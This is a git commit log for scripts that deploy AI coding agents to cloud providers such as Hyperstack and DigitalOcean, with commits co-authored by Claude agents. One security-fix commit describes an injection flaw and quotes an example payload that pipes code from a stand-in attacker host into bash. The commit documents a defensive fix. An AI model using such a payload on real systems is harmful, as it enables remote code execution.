A
de4e55ee4e
feat: Add hyperstack/interpreter script ( #183 )
...
Agent: gap-filler-interpreter
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 08:03:01 -08:00
A
6069d7c858
feat: Add hyperstack/goose script ( #182 )
...
Agent: gap-filler-goose
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 08:02:27 -08:00
A
95d39610cd
feat: Add hyperstack/gemini script ( #181 )
...
Agent: gap-filler-gemini
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 08:02:23 -08:00
A
100353ed96
feat: Add hyperstack/codex script ( #180 )
...
Agent: gap-filler-codex
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 08:01:54 -08:00
A
d88a7d284a
refactor: Decompose Hyperstack create_vm and DigitalOcean create_server ( #179 )
...
Extract helpers from the two largest undecomposed provider functions:
- Hyperstack create_vm (104 -> 45 lines): extract _build_vm_request_body
and _wait_for_vm_active
- DigitalOcean create_server (97 -> 54 lines): extract
_build_droplet_request_body and _wait_for_droplet_active
Also fixes bash 3.x compat issue: ((attempt++)) -> attempt=$((attempt + 1))
Agent: complexity-hunter
Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Haiku 4.5 <noreply@anthropic.com>
2026-02-10 07:43:19 -08:00
A
3fe9f298db
fix: Prevent Python injection in Hyperstack create_vm via stdin ( #175 )
...
The create_vm function interpolated $environment (HYPERSTACK_ENVIRONMENT
env var or user prompt) and $image (HYPERSTACK_IMAGE env var) directly
into Python code using single-quote string literals. An attacker who
controls these env vars could break out of the string and execute
arbitrary Python code (e.g., os.system('curl evil.com|bash')).
Fix: Pass all values via stdin to Python instead of shell interpolation.
This eliminates the injection vector entirely, matching the pattern used
to fix similar issues in other providers (Scaleway, UpCloud, etc.).
Agent: security-auditor
Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 07:39:10 -08:00
A
8c5933c8e5
feat: Add Hyperstack GPU cloud provider ( #173 )
...
Add Hyperstack (formerly NexGen Cloud) as a new cloud provider with:
- REST API integration via infrahub-api.nexgencloud.com/v1
- Competitive GPU pricing (RTX A6000 at $0.50/hr on-demand)
- Pay-per-minute billing for flexible workloads
- Global environments across multiple regions
Implemented agents:
- claude (Claude Code)
- aider (AI pair programming)
- openclaw (multi-channel AI assistant)
Added 14 matrix entries (3 implemented, 11 missing).
Agent: cloud-scout-2
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 07:18:56 -08:00